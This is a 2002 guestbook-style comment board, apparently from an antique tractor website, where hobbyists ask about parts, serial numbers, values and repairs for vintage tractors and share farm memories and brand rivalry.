Matt Anderson wrote on Saturday, March 30, 2002 (PST):I just found side panels for a rock island tractor in my barn. they appear to be kinda like the fleetline oliver engine side panels. If you need something like this let me know.
Michael Roush wrote on Friday, March 29, 2002 (PST):Recently purchased D-21 II, 3666 original hours with overhaul 300 +/- hours ago. Good rubber, starts and runs good, needs hoses and hydraulic seals replaced. Sheet metal is great shape with exception of grill. Intend to 'play' a little, mow CRP, replace hoses and seals, and eventually restore to orifinal condition. Always wanted one and thought better not pass up opportunity!
Jim Posey wrote on Friday, March 29, 2002 (PST):In 1954-55, I worked on my uncle's farm in Blythe, Cal. He had a butane MM-U that I drove a lot disking alfalfa fields for replanting. I liked that machine very much. it never failed us, and I can't remember ever doing much maintenance work on it other than changing oil and interminable greasing. I never was on another one, but I also ran a Farmall H a lot for lighter duty work. That was a fun machine too, Wish I had them both today!
W.J. Shaver wrote on Thursday, March 28, 2002 (PST):An of you out there have experience on freeing up stuck rock shaft on Jd 60, Has fluids, response from hydraulics etc, do I have to go in the rear end of my machine 7 what might have to replace, also what plugs should be in the powertrol block to have fluid power to quick disconects & three point linkage. Thank you Bill Shaver.
Jim Desher wrote on Thursday, March 28, 2002 (PST):I have access to an AC-HD5 . it has a detroit engine, on the side plate it reads (tractomotive deerfield Ill. )On the other side plate it reads Tractos.It has been sitting for about 4 years outside it is surface rust and needs painting and some tender loving care. Some new hoses.Seems to be all there. Any one interested make an offer. jimydesh at aol.com
Skip Hietala wrote on Wednesday, March 27, 2002 (PST):Question??I've researched O-14 and W-14, but I have my dad's I-14 in good running order. I have very little info on this tractor. Can you help me out? Appreciate any responses. Thanks.
Jeff wrote on Tuesday, March 26, 2002 (PST):Can someone tell me the weight and hp of a AC hd 7
Lyle Drake wrote on Tuesday, March 26, 2002 (PST):I own a 1954 Oliver Super 66 with the row crop option that I am currently restoring. I need a radiator for this machine, if you know where I could find one please let me know. Thank you.
Lee wrote on Sunday, March 24, 2002 (PST):I'm looking for snap couplers for a D-15 as well as an exhaust manifold. Anybody out there have such parts to spare?
Allan Lassey wrote on Sunday, March 24, 2002 (PST): Own several oliver tractors and am looking for dry type air cleanersm not oil bath for 1900 or 1950 with a Detroit Diesel Engine. Anyone know whee I can get any e-mail me at adlassey at mcn.net Thanks and have a great day Allan
Ian Curran wrote on Sunday, March 24, 2002 (PST):My Dad has a W-4,Plus a Super W-6 They are both very dependable tractors.They did our farm work for many years and still are used on a regular basearound the farm for the lighter jobs now.We still have most of the drag type imploments to fit them.I would say a 3 furrow McCormick Deering Plow behind a W-6 does a better job plowing then any newer plow out there today!
Jerry Huerkamp wrote on Saturday, March 23, 2002 (PST):I have a GVI and would like to know what it is worth. Because they used for pulling the packing machine after the road was tared. It's a 6-cylinder deisel.
Henry Hahn wrote on Saturday, March 23, 2002 (PST):Kevin the s/n.& model # is steel stamped in the insterment panelbelow the gages it will be like 48D xxxx you may have to scrape off some rust & paint send me your name and addres and I will mail send you some Leader information Henry Hahn 7606 Hwy. J Perryville,MO 63775
Richard Moore wrote on Friday, March 22, 2002 (PST):The 730 is a really nice tractor. My father-in-law aold his and has regretted it. I currently have three B's, one M and an AO. I would like to score a 730 or 830 with electric start that is located on the west coast. Any leads would be appreciated.
JEFF wrote on Friday, March 22, 2002 (PST):I grew up running a 706, 966,1466,and1486.My buddy has 4430 John Deere's. That 1466 will run circles around that junk Deere.
bobeque wrote on Thursday, March 21, 2002 (PST):I need a rockshaft bearing for a 51 cub. The part # is 352 130 R91. If anyone has a used one (two halves) e mail me. Thanks.
Davy Brown wrote on Tuesday, March 19, 2002 (PST):I have a 1951 Minneapolis Moline UTU. It runs great, but I am needing a new radiator for it. If anyone knows where I might find one, please let me know. They can take a lickin', but they keep on chuggin'.
Larry Hoppe wrote on Monday, March 18, 2002 (PST):I have recently restored an rock island G-2 and im looking for a carburator float for a stromberg m-2.any help would be appericated Contact hoppe at lyn.net
Matt/Kevin Higgs wrote on Sunday, March 17, 2002 (PST):My brother and I are looking to restore a 220,D21 we are willing to go the distance to get it,anyone with information,it would be gladly welcomed.
M/k wrote on Sunday, March 17, 2002 (PST):My brother and I are looking to restore a D21 does anyone know where to find one must be all together if possible,willing to go the distance
taz wrote on Sunday, March 17, 2002 (PST):march 17,2002.am looking for a Massey Harris Special tire,Model 44...1330 tire......I am located in Wisconsin
Kevin wrote on Sunday, March 17, 2002 (PST): I have found a Leader tractor on my farm and was believed to be used for parts. How would I find the Serial number and would like to know how to find the value. Thanks
randy beasley wrote on Saturday, March 16, 2002 (PST):i need ring and pinion grars for 1937 k w would consider complete tractor or parts tractor in west cent il or st louis mo area thanks
Mark Paskevich wrote on Saturday, March 16, 2002 (PST):I have a 1928 Rock Island Model "F" 18-35 tractor with Buda "YR" engine, Dixie-Spiltdorf-Aero 46C Magneto and Stromberg M3 Carb on steel wheels with lugs. I'm interested in any spare parts of any kind, rubber tire wheels/rims to fit same, original advertising material. Also interested in complete Rock Island tractors running or not, restorable or for parts. Please contact markp at rotec.com Ph;250-260-6299
tim wrote on Saturday, March 16, 2002 (PST):I have a super 55 gas,does anyone know of lower transmission gears that wer ever available for tilling or cultivating. thanx in advance for your reply. Tim
Ernie wrote on Thursday, March 14, 2002 (PST):Corey, your H is a 1940. Good luck with it, go to the Farmall Discussion Forums if you need any help with it. Gary, you have a 1939 (FBH3609) and a '42. Value depends on location and condition, email me with specifics and I will guesstimate their value around where I live.
Tim Hanners wrote on Thursday, March 14, 2002 (PST):If your having problems dating a 9n 8n or 2n I can give you the production dates from the serial number on the LH side of the block. It will start 9NXXXXXX etc. I currently have a 9N (9N23887) Made in 1940. It runs great. Plano, TX
C.L. Bowman,jr wrote on Thursday, March 14, 2002 (PST):I have a 550 Oliver listed above in the comments. An engine rebuilder has told me that he recommends rebuilding the entire engine. New oil pump, and cam shaft plus the usual pistons rods and bearings etc. A complete rebuild. It will cost $1500.00 to do the complete rebuild with all new parts. This means I would have to sell the tractor for $2900.00 to break even. Could someone tell me if I could get this for this tractor since the rest of the tractor is in excellent condition? Thank's for your comments.
Milton Lee Walling wrote on Thursday, March 14, 2002 (PST):I have a one owner, 1941 utu, grew up on it. It was my favorite tractor for drilling wheat. It has a wide front end on LP.
Matt wrote on Thursday, March 14, 2002 (PST):I would pay big bucks for a UDLX. Any condition. I would drive it to work, they look that good. They reportedly went about 40 MPH but never caught on since they were somewhat too stylish. You could farm in the morning and drive to church at noon all in one vehicle. It had an enclosed cab and both front and rear fenders.
C.L. Bowman,jr. wrote on Thursday, March 14, 2002 (PST):I put the wrong email address on my last comments.
Robert Simcoe wrote on Tuesday, March 12, 2002 (PST):Just wanted to know if anybody can tell me wear to get parts for my 1950 Oliver 88 rowcrop diesel -
Joe B, Brewer wrote on Tuesday, March 12, 2002 (PST):Looking for a set of belly cultivators to fit D-12 allis.My address is; 1147 hwy 95 Calvert City, Ky. 42029
Arden Scott wrote on Monday, March 11, 2002 (PST):I am looking for a 1510 loader to put on my 550. It must be in good condition.
Jeremey wrote on Sunday, March 10, 2002 (PST):I bought a 39 f20 with a electric start and was wondering where the battery would be located? There is no battery box on the tractor. The tractor also has a belly pump and lights. Kind of a rare f20. If anyone has a idea let me know.
Louis Krock wrote on Sunday, March 10, 2002 (PST):I had a Leader a long time ago. I am looking to buy another one. would appreciate Information on one in the indiana or michigan or ohio area or another state not too far from indiana. Louis Krock.
C.L. Bowman, jr wrote on Sunday, March 10, 2002 (PST):I have an Oliver 550 which is about a 1962 model. It has a four cylinder gas engine. This tractor looks almost as good as the picture. Excellent condition as appearance goes. Almost new tires. I bought this tractor about 3 months ago and the governor went bad. I replaced it but it cause the carbuerator to flood and filled my oil with gasoline. As a result I think I spun a rod bearing. It started making a lound noise so I have not used it. Everything worked. Has a stong 3 point lift. Good pto. I hate to sell this one but I needed a tractor bad, so I had to buy another one. This would make some one a great tractor if the engine bearing problem was fixed. I will sell for $1200.00 as is obo. Again this tractor looks Great!!!!!
Darrel Kleinjan wrote on Saturday, March 09, 2002 (PST):I have a 1929 Rock Island Model F. I am looking for rear steel wheels. Please contact with any leads. Thanks!
David wrote on Saturday, March 09, 2002 (PST): I have located a 44 MH with a Diesel moter that was running but is not running now. The owner of the tractor thinks it is the injecter pump. I would like some input from anyone on rebuilding or working on the injector pump. I would be greatful for any info like available parts or can i even get parts to fix the pump. I have Know more info on the tractor than that to offer other than the fact that the owner said it did not have a 3pt on the tractor. Thanks for your time. David of Walnut Grove Mo.
Paul Arthur wrote on Saturday, March 09, 2002 (PST):Re; Gord, New guages are available at around $135.00 from W.H. Lien,Inc N 8974 Pole Grove Road Hixton,Wisconsin 54635 OR Telephone 715-963-4211.They also have Tachometers.
Paul Arthur wrote on Saturday, March 09, 2002 (PST):Re; Gord, New guages are available at around $135.00 from W.H. Lien,Inc N 8974 Pole Grove Road Hixton,Wisconsin 54635 OR Telephone 715-963-4211.
Paul Arthur wrote on Saturday, March 09, 2002 (PST):Re; Chris. Decals are available for you Oliver 770 Tractor for $15.00 at Maple-Hunter Decals P.O. Box 805 Ripley Indiana 47871 Phone number 765-932-2027 or 812-394-9759
Troy Gold wrote on Friday, March 08, 2002 (PST):I just bought a Massey Harris. I need help identifing it. The numbers on the trany is 184795M1 and under the number is an S with an F in the uper part of the S and what looks like a G0 in the bottom part of the S. On the uper part of the block it has the following number, MH L 260 G and under that number it has 701 95. On the lower part of the block it has the following number, H 260 A323. It has a three point hookup. I have no idea what I have can anyone help. Thanks
daryl king williamtown ny wrote on Tuesday, March 05, 2002 (PST):I HAVE TWO OC-3 ONE RUN GREAT AND ONE A PARTS TRACKDER.I HAVE A BUCKET AND A BLADE.BUT I NEED A RADIATOR
William Corpus wrote on Sunday, March 03, 2002 (PST):I have an early model D21 3-point hitch and turbo has new style head rear end all new bearrings and axles motor has been rebuilt Brand new rebuilt fuel pump (lot of $$ into it) thinking about selling or trading for 220 in same shape runs like a champ starts good and lots of brute power has weights in front and wheel weights in the back.
stuart mccallum wrote on Sunday, March 03, 2002 (PST):I have just bought a 012 in pretty much original condition the serial number is os2651 any pictures or information would be greatly appreciated.
dana opdycke wrote on Sunday, March 03, 2002 (PST):Brian, the serial number for 70's is on the brass looking plate on the starter side of the engine block. It will have oliver corp. charles city Iowa. You may need to rub the plate off with a scuff pad to see all the writing.
Wesley G. Wilson wrote on Saturday, March 02, 2002 (PST):I live in jacksonville, florida ans I own a Fordson Dexta tractor S#957E-37306 the tractor runs good, but the lift does not work, and I can't keep the battery charged. Any suggestions.
Kirk Landgren wrote on Friday, March 01, 2002 (PST):I have a 550 with ser.#146814-519.Would like help on value .Tractor is in good condition.Thanks for help.
Warren Walton wrote on Tuesday, February 26, 2002 (PST):Chuck the e-mail address is right. If you can't get it ,contact me in 4-5 weeks. My Dad will be back from vacation by then.
Roland Carl Woodruff wrote on Tuesday, February 26, 2002 (PST):WOW! What wonderful pieces of Spainish 'Gold'! Put them in the bank in Eygpt............
Norb Hesseln wrote on Tuesday, February 26, 2002 (PST):I am looking for a hose that connects the oil bath filter to the carb. Am also looking for a new or used ignition switch for an Oliver 550.
Chuck wrote on Monday, February 25, 2002 (PST):Warren, I can't get your email address to work
rob michael wrote on Monday, February 25, 2002 (PST):anybody give me a quick run thru on how to set the injector pump timing on a roosamaster pump that did not have timing marks set before it was disassembled?
michael barnes wrote on Sunday, February 24, 2002 (PST):i have a 3165 masseyferguson and i need to know where i can get a manual for it i do not know what year model it is i would be thankful for any information thank you.
kevin wrote on Sunday, February 24, 2002 (PST):I'm acquiring an M that has been under cover for years. Does someone specialize in parts for these tractors? Any value to one that isn't stuck and appears real straight? We haven't tried starting it yet.
jerry wrote on Sunday, February 24, 2002 (PST):How do I go about ordering this Kings book.On the Leader Tractor. I trated for one as I had spoken above on and I don't have any Info.
C. Deahl wrote on Saturday, February 23, 2002 (PST):I'm currently looking for a farmall av to restore. If you live in the IN,IL,KY,TN area and have any info on were I may purchase one please tell me. Preferably running and the engine block in good condition(no cracks). Thanks
CHUCK POWELL wrote on Friday, February 22, 2002 (PST):I HAVE A NICE A.C. MO. D12 FOR SALE. HAS 3PT AND SCRAPER RUNS GREAT, LOOKS GOOD, NEVER RESTORED,BUT GOOD AND STRAIGHT LANCASTER,CA 661-478-7883
bobby twyman wrote on Thursday, February 21, 2002 (PST):my family was the local case dealer before i was born(1961) at one time i didnt know the was other makes.we still have a couple sc,a dc,a 730 and another one i forget the model, that the sheet metal was all missing,later i found out that my father had flipped it in some cultivation demostation. i dont think that any of ones that we have are running.they have been replaced by several ford 5000s
Henry wrote on Thursday, February 21, 2002 (PST):King books has a reprint of the Leader tractor owners manual
JOHN KARNS wrote on Wednesday, February 20, 2002 (PST):I just purchased a D17 6 months ago. It is myfirst tractor ever.I fell in love with it the the first time I drove it. I mow about 25 acres with it. After 3-4 months it started loosing power and running ruff. I changed plugs,wires,rotor & cap.It ran great for a short period of time, then started loosing power and missing bad. I have no idea what year it is.If someone could help me out ,telling me where the serial # is located,so I know what year it was made.And if anyone has any advice for me. Thanks for anyones input!
Henri Loiselle wrote on Wednesday, February 20, 2002 (PST):I have an T9 international (which is the same as a TD9 except that this is a gas tractor.I used ist until a couple of years ago. A bearing went on one side of the drives and I haventhad time to fix that, and now some kids took the can off the exhaust and now I'm doing the diesel in the spark plug thing. I hav a blade for it and wee as a fork that I bolt on the dozer (it works really well for getting out roots) I also have a great diesel pump test bench that my dad use to use for WD9s and farmals. it will test up to 6 cylinders. I would'nt mind selling both as I don't have the time to fix or use these any more.
VICTOR DELGADO wrote on Wednesday, February 20, 2002 (PST):My Grandfather was an Allis Chalmers man and had owned several before he bought this D15 series II in 1971. Approx 1 yr later he had a stroke and was unable to use it anymore.. It sat in the barn for 15 yrs never being moved. I bought it from him along with quite a few implements to go with it for a very small price. I "unstuck" the motor and did some minor repairs to get it in great running condition within a couple of weeks of purchasing it.. I still use it to this day about 7 yrs after buying it.. What a great tractor to own.. and the look on my grandfathers face the first time he heard it crank up after 15+ years is priceless!
Ray wrote on Tuesday, February 19, 2002 (PST):I am trying to locate a 12 volt conversion kit fo a Farmall BN Please contact me at RTDARLING at AOL.COM OR 315-625 7725
albert sparks jr wrote on Tuesday, February 19, 2002 (PST):i am looking for a 400 case diesal or gas any condition and i would like to locate a dc for parts as i have one now and need parts
Sean Futrell wrote on Monday, February 18, 2002 (PST):I'm looking at an International 686 (1970's). Don't know how many hours...just wanted some information on what would be a fair price to pay. Any information will be greatly appreciated.
Jerrry Strain wrote on Monday, February 18, 2002 (PST):I had traded for a Leader and like to get a book on it or some feed back on a few things.
Pat Redington wrote on Monday, February 18, 2002 (PST):I have an oliver Super 55 gas. s/n 6475. Runs good and is complete. Needs paint. I have a lot of spare Super 55 and 550 parts to go with it. I put a loader on it which makes it hard to steer because the tractor was built prior to Oliver offering power steering for it. I would like to trade it for an Oliver or Farmall with power steering, 3 pt and wide front. I'm located in near Wichita, KS.
Mark wrote on Monday, February 18, 2002 (PST):I have a Super 55 gas. It has a front end loader and back hoe. It shure does smoke a lot but still runs! Small black coal like pieces seem to come out of the exaust pipe and fly into my face. I have a lot of fun with it. This tractor seems to be industructible. What should I do to get rid of the smoke?
Mark Van Etten wrote on Sunday, February 17, 2002 (PST):I am working on a 1941 A.C. B and looking for a pair of headlights and the single tail light that came stock on a unit that was equipped with an electric starter. if anyone has these and are willing to part with the please e-mail me.
ROGER CARPENTER wrote on Sunday, February 17, 2002 (PST): LET ME TELL YOU JOHN DEERE LOVERS SOMETHING. J/D,S ARE GREEN BECAUSE THEY AREN'T RIPE. AND US I/H PEOPLE ALL KNOW WHAT COLOR RIPE IS.... I HAVE RAN LOTS OF TRACTORS IN ALL KINDS OF FARMING SITUATIONS, THERE JUST SIMPLY IS NOT A TRACTOR THAT COMPARES TO A I/H. I HAVE OWENED A 766,806,826,856,966,1066-TURBO,AND NOW USE A 1972-1456 TURBO.ALL WERE VERY GOOD TO ME BUT, THE 1066 AND THE 1456 ARE JUST PLAIN AWSOME THERE UN STOPABLE.
Warren Walton wrote on Friday, February 15, 2002 (PST):My dad has a TD35. He has a spare crank and other engine parts.
Lynn West wrote on Friday, February 15, 2002 (PST):My husband grew up on a farm in Northeast Ohio. His father owned a Minneapolis Moline G1000 Vista, and my husband just loved this tractor. He always wanted a "toy" MM for his own but his father said they could not afford one. He (my husband ) will be "50" in March, and I would love to find a toy version for him. Can anyone help me?
Brent Maupin wrote on Thursday, February 14, 2002 (PST):I just bought a 1948 VAI and I look forward to getting it in working order. I am having trouble locating or knowing how to make a 3-point hitch. I live in North Carolina and would love some help.
Walter Ducki wrote on Monday, February 11, 2002 (PST):I have a farmall B that I would like to sell its in fair condition and I have used it daily for the past 25 yrs it runs good but could really use some TLC.Located in connecticut.
Brje Gustavsson Sweden wrote on Monday, February 11, 2002 (PST):Hello I wonder if anybody know how many W-14 that was prouduced and when. Do you have any information about this tractor that you can send on email to me, i don`t have any information at all.
Roger wrote on Saturday, February 09, 2002 (PST):I am looking to buy an Allis Chalmers D21. Does anyone know where to look? It must have 3-point and power shaft. Good condition...Does anyone know who has one for sale? Thanks!
Dave in Virginia wrote on Friday, February 08, 2002 (PST):I inherited a 300 Utility International and am in the process of fixing it up. Can anyone tell me where I might find parts in Virginia? Or close by? I'm particularily looking for the grill cover assembly.
Fabian Skretta wrote on Thursday, February 07, 2002 (PST):can someone please tell me spec info on the "66"series of tractors...I would like to know L,W,H and weight...Thank you.
Joe Nichols wrote on Thursday, February 07, 2002 (PST):I have a 99 Oliver 6cyl 4 speed for sale complete and restoreable 218-563-3500 McIntosh,MN
Ralph Barnett wrote on Wednesday, February 06, 2002 (PST):This serial number appears on my 550 Oliver, can anyone tell me the year it was manufactured? Serial # 80176-519. alos, I'm still looking for a seat spring.
Lane Hetherington wrote on Wednesday, February 06, 2002 (PST):My father has a WD-45,"I'am unsure of the year,"it is in great condition except that the ring gear for the PTO is broken. Any help in locating one would be appriciated
john wrote on Wednesday, February 06, 2002 (PST):the 66 series was best ever. we have 766,856,1066 my favarite,1086,1486,1586. all great power and a hell of a lot less expensive than a deerdog
jason wrote on Wednesday, February 06, 2002 (PST):have a john deere fan right next to me right now and he keeps on mocking the good old ih,case,and new holland names always wants to know what it will be called next I should just tell him it will always be case corp/IH power not deere power.
jason wrote on Wednesday, February 06, 2002 (PST):have a john deere fan right next to me right now and he keeps on mocking the good old ih,case,and new holland names always wants to know what it will be called next I should just tell him it will always be case corp/IH power not deere power.
Bob wrote on Wednesday, February 06, 2002 (PST):My grandfather purchased a brand new D12 serisIII in 1964. I still have it and it runs perfect! It has never been touched mechanically,and has never burned one drop of oil! This is the best tractor I have ever seen.I would strongly recommend it for anybody thinking of buying a 12
Lester Schultz wrote on Wednesday, February 06, 2002 (PST):I have cockshutt 770 with F.E.L runs but needs rebuilding.$1500.00.Also have 1920-1930 F12 or F20 IH,1953 super6 IH,WD-9 and a 1953 fordson major for parts or rebuilding
Lester Schultz wrote on Wednesday, February 06, 2002 (PST):I have cockshutt 770 with F.E.L runs but needs rebuilding.$1500.00
Chuck wrote on Tuesday, February 05, 2002 (PST):I Have a 1937 TD-35 that I would like to restore. The head is cracked and so is the crankshaft.
Diane Stasko wrote on Tuesday, February 05, 2002 (PST):We are working on an Allis K with a blade. Got any stories?1-715-644-2020
Rick Vito wrote on Sunday, February 03, 2002 (PST):I am looking for any and all information on the 1929 Regular as I'm in the process of attempting to restore one also what is the value of one completely restored? Any info would be most appreciated!
Lars G wrote on Sunday, February 03, 2002 (PST):In Sweden I have an old Olover from 1946, called Oliver 35. I know the Swedish agency, Sodesrberg&Haak, renamed the models and instead of using the American numbers, Soderberg&Haak changed it to how many horse-powers the tractors had. Just one thing, what was the American Model of this Swedish model Oliver 35? This model is not a stream-lined model, it has a four cylinder engine, wide front and 28" rear rims/wheels. I have heard different model types of this Oliver 35 here in the US, Oliver 99, Oliver 80 and also Oliver 35. Please help me to clear up my mind about my Oliver. Regards, Lars
Henry Hahn wrote on Friday, February 01, 2002 (PST):Michael I have a 1948D parts book it gives picture of the parts [exploded views if you will send me a mailing address iwillsend a copy Henry Hahn 7606 Hwy. J Perryville MO 63775 1-573-547-8693
Henry Hahn wrote on Friday, February 01, 2002 (PST):Michael I have a 1948D parts book it gives picture of the parts [exploded views if you will send me a mailing address iwillsend a copy Henry Hahn
Michael Reed wrote on Friday, February 01, 2002 (PST):My grandfather owns a 1948 Leader Model D. I was wondering if anybody knew where I can get an I or T repair manual for it.
donald wrote on Friday, February 01, 2002 (PST):For lot info on all fordson try fordson.freeweb.nl/.
Jerry Nilles wrote on Thursday, January 31, 2002 (PST):I am in the process of restoring a 1949 case LA gas. I am looking for an exhaust manifold and elbow, a picture or other information on placement of the decals, and how many gallons of paint will it take to paint. Jerry
Matthew Thomas wrote on Tuesday, January 29, 2002 (PST):Does anybody know what an Allis Chalmers D15 Diesel is worth? The tractor is mechanically sound, good tranny, good breaks and tires. The paint is faded and the fenders are rusted at the battery box and tool box locations. The tractor runs perfect and is used daily on farm. Thanks.
The Super M wrote on Tuesday, January 29, 2002 (PST):TRY a farm tractor parts store, where are you located?
Ralph Barnett wrote on Monday, January 28, 2002 (PST):I bought my 550 Oliver this summer and it does every thing and more than I hoped for. I don't know if the tac or hour meter has ever been changed but it showed 240 hours when I bought it and now I have 300 hours. I would like to find a seat spring (which is rubber) it has dry rotted.
Erik Iverson wrote on Sunday, January 27, 2002 (PST):We had a 656 gas, 756 gas, 766, and a 1086. all of them were great tractors and rarely had any problems. before the 1086 we had a 986, and before that the big tractor was a 966. the 756 was bought to replace the old M tractor. Now they are all gone in the auction we had back in 98, but we still have the 656. Personally i always liked the 766, probably because I drove it alot for field work. the 1086 got the most work cutting hay with the 1190, baling, and using the 1000 gehl chopper. I never really liked the 1086 shifting, you always had to stop, even on the 986 too. hope to make some good money after college to run a hobby farm, and buy some of those tractors back!
Jim Cave wrote on Thursday, January 24, 2002 (PST):I have a neighbor who aquired a Fordson Major diesel. He is needing a block and crank shaft. (I think he's wasting his time) But he is insistant on restoring this machine. Can anyone give us a suggestion on where to find any parts.
Phil wrote on Wednesday, January 23, 2002 (PST):Looking for.......A cylinder head for a D-21. Any needles in the haystack??
Mike Hurt wrote on Wednesday, January 23, 2002 (PST):I need a complete starter for a550D. Would appreciate any help. thanks oliver fans
Sandy Smith wrote on Wednesday, January 23, 2002 (PST):Does anyone know where I could find a front end loader for my 1967 550?
Paul M. Field wrote on Wednesday, January 23, 2002 (PST):I own a cockshutt 30 and am trying to sell it , I need to know the best place to advertise,and also a way of finding the year. It runs great and has a front end loader on it. I live in Bancroft , Ontario
Lou Roscoe wrote on Tuesday, January 22, 2002 (PST):I have undertaken the restoration of a much abused Oliver Industrial 70. The engine has had the head rebuilt and now I need to locate an engine rebuild kit or individual parts (bearings, gaskets etc.) for the three gear continental six cylinder engine. If a rebuild kit is not available my next best option is to locate a set of main bearings (I have had the crank turned so I need an oversize set). I can get standard size piston rings and pin bushings if I have necessary.
Matt from PA wrote on Tuesday, January 22, 2002 (PST):Now I'm just taking a stab at this one ( I'm more educated on the M's & H's ), but I think you could get at least $2,500.00 give or take. But that all depends on the condition attachments are and how bad the paint may be. If it's a prime piece of machinery I wouldn't hesitate to 3,000 or even 3,500. Your location also plays a HUGH part in your price, here in south central Pennsylvania the Cub's run for about 2,000 WITHOUT all the attachments your offering. Go for as much as you can get, Good Luck
Keith Boesel wrote on Monday, January 21, 2002 (PST):I recently purchased a Ferguson 2 bottom plow and in process of rebuilding it. I am looking for the color scheme for this unit. I have heard different stories, one it should be red with the plow blades gray, some say all red and some say all gray. Can anyone help?? Thanks
ron biron wrote on Monday, January 21, 2002 (PST):I have a super w4 and I would like some information or diagrams on the wiring system and the specs of the tractor. Any information would be appreciated, thank you very much.
Larry wrote on Sunday, January 20, 2002 (PST):Trying to get my 706D with a 282 motor up over 100 hp to pull in same class as my 1066 to out pull a 4240 Deere.Have put a tubro on it.Was told could pull sleeves out and convert to 301 same as 715 combine motor. Need the IH knowledge people to help me out! Need to show a smaller IH can walk over a bigger Deere. My 1066 has no problem.
Bill wrote on Saturday, January 19, 2002 (PST):We had a 966 on hour farm, and we traded it for a Same with a 130 hp. So after we realized we could not bet the power of a 966, so I could just imagine the power of 1066.
Bob McWhorter wrote on Saturday, January 19, 2002 (PST):I just acquired a Leader, serial no. 97, made in Auburn Ohio. I would like to trade photos or info.
Mike wrote on Saturday, January 19, 2002 (PST):I'm trying to determine the value of an OC3 and an OC4 with a loader. They both run and are located in the northeast.I'm looking for anyone who may be interested in purchasing them or helping me source a new home for them. I'm on the west coast and don't think it's feasible transporting them across the country.
Rob Trowbridge wrote on Friday, January 18, 2002 (PST):I have a 72' 1066 for sale, it is set up for a good warm farm stock puller. With a little more work would be exc. hot or super farm tractor. It has stock 414 block with 466 slvs & pistons& crank , 11mm rotary pump , 3lm 466 spec.turbo. Its on 20.8x38 9 bolt Firestones also have cast centers on 20.8s . 3pt &hyd remotes are removed but go with tractor. New TA,clutch & paint sprig '01. Farm or pull nice tractor.
Otto Schroeder Jr wrote on Friday, January 18, 2002 (PST):I have a MM GVI diesel, it is the smoothest tractor Ive ever driven. We use it with a crosscut disc and grain drill and field cultivator. My only complaint is its large turning circle.We overhauled it once.
tsoukjr wrote on Friday, January 18, 2002 (PST):Very nice tractor my uncle has on just like it but we have duals for all four of the tires. It looks mean coming down the road with all of them on.
Lee Heilman wrote on Friday, January 18, 2002 (PST):I have a 1923 Waterloo Boy model N. I purchased a tractor at an auction about 4 years ago. The tractor needs restored and is in good mechanical condition.I have all the necessary parts to restore the tractor but need the extra time to go along with it.This tractor is part of our Family collection , and is treasured at many local and far shows.
Woods C. Swinburn wrote on Thursday, January 17, 2002 (PST):Dear Larry, my computer isn't set up to respond to you directly, so, please e-mail me at wcswinburn at hotmail.com with the following information. Where are you located, how much are you asking for the Farmall B, and what is your e-mail address. Thanks in advance for your reply. Woods
andy wrote on Wednesday, January 16, 2002 (PST):I would be interested in buying a W4 running and in good condition 815 253 6311
James Gosselin wrote on Tuesday, January 15, 2002 (PST):My first tractor was a Cockshutt 30. I bought it from a retiring farmer that was looking to find it a good home. It was almost a year before I knew the actual year and model. That made finding parts interesting. Although not a mechanic, I got it running. I buzz around the property with it. Makes me want to own a farm.
ken wrote on Tuesday, January 15, 2002 (PST):I have a 1959 601 Workmaster row crop ofset tractor. New engine, clutch,plate, throw out bearing. Runs great .Do you think its worth $2,000. I was in the process of restoring it but moved. Dont have a need for it now. Thanks
Brandon wrote on Tuesday, January 15, 2002 (PST):i would realy like some front wheel weights for my w9
jason wrote on Monday, January 14, 2002 (PST):you are so right about the red power. anybody hear the McCormick name is coming back to kick deere ass.
Joe Williams wrote on Monday, January 14, 2002 (PST):I'm trying to get my Dad's old G running again so I was wondering where the serial number is located so I can determine what model it is. Can anyone help?
Dave Pembroke wrote on Sunday, January 13, 2002 (PST): Have Co-op#2 parts tractor--lots of parts (1937) also #3 Co-op fenders
Bart French wrote on Saturday, January 12, 2002 (PST):Just got my Super Oliver 55 gas 2 months ago. Traded for some other equipment. It now sits in the garage. Wife whats to know why her car has to sit out side. I said, Its an oliver!!!!!. Looking for sheet metal parts, seat parts and other accessories that will help me restore this lady to her origional contition.
thom van brocklin wrote on Saturday, January 12, 2002 (PST):i have a co-op e-8 tractor that has been in the shed for a lot of years.there is no dings dents or bruses on it. does anyone have a idea what it is worth. i've had people stop and want to buy it, but i don't know what it is worth.
Chris wrote on Friday, January 11, 2002 (PST):We have an IH 806,656, a Case 970, and an Oliver 1800. The 806 beats the balls off the case, which is a dog when it comes to drawbar power. The 806 has been through 2 torque converters, 3 park brakes, and countless batteries, but it just wont die!
CAMERON wrote on Thursday, January 10, 2002 (PST):I HAVE A 62 M5 THAT I USE EVERY DAY MOVING BIG HAY BALES I PUT A WORKMASTER LOADER ON IT AND IT WORKS GREAT I HAD TO UPDATE THE PROPANE SYSTEM WITH A NEW CARB AND REGULATOR BUT THAT IS ALL GREAT TRACTOR DAD HAS ONE JUST LIKE IT
Landon wrote on Wednesday, January 09, 2002 (PST):Hi i was in school earlier so couldnt say much I have a 1946 Leader Moddle D but it isn't all orriginal. It had orriginally a 20 hp herclies v4 in it but that was gone when i got it. Um the tractor was shortened for some reason i really don't know the guy before me did it. i didn't have the time to fool with it so i put in a Tecumsea 6 hp and it runns like a charm.(I was going to a show that weekend). It pulls my dads camper around in all gears, so for the size of the engine it does ok. I am almost 14. I got it because my mom previously passed away from Stomache Cancer, and i wanted a project to work on to take my mind off things. It does the trick. I live in alberta canada Around Edmonton, so if any 1 that reads this has parts or info or even wants to see it or has 1 of there own give me a e-mail please. And also I have always went to the Leduc West Antique society, but this year was my first. They hav a show usuallu on the July 28,29 every year and it is one of the best shows i have ever been to. if u hav an exhibit like any old thing you can park your RV on the site for the whole weekend for free if you don't i think its $30.00. well g2g so take care and please e-mail me soon. Landon
lpaulson7000 at hotmail.com wrote on Wednesday, January 09, 2002 (PST):hi i have a 1946 Leader moddle D it isn't all orriginal but its restoreable oh i gota go tell more later
Henry Hahn wrote on Wednesday, January 09, 2002 (PST):I have 20+Leader tractor 7restored 9 restorable the rest are parts tractora I am compiling a list of leader owners and organizing a Leader tractor club ,if you would more information about the club contact me Henry Hahn 7606 Hwy.J Perryville MO63775 1-573-547-8693 ,hehahn at one main.com
phil wrote on Wednesday, January 09, 2002 (PST):One owner D-15 purchased originally for Lumber Yard & Masonary Block Plant in 1963. Tractor is mostly original with only repair modifications. Has a front end loader and a rear fork lift/blade attachment. Would like any general info on market value of this tractor and any tips on locatin some numbers on it that might tell me exactly what model/year it is? Thanks for any assistance.
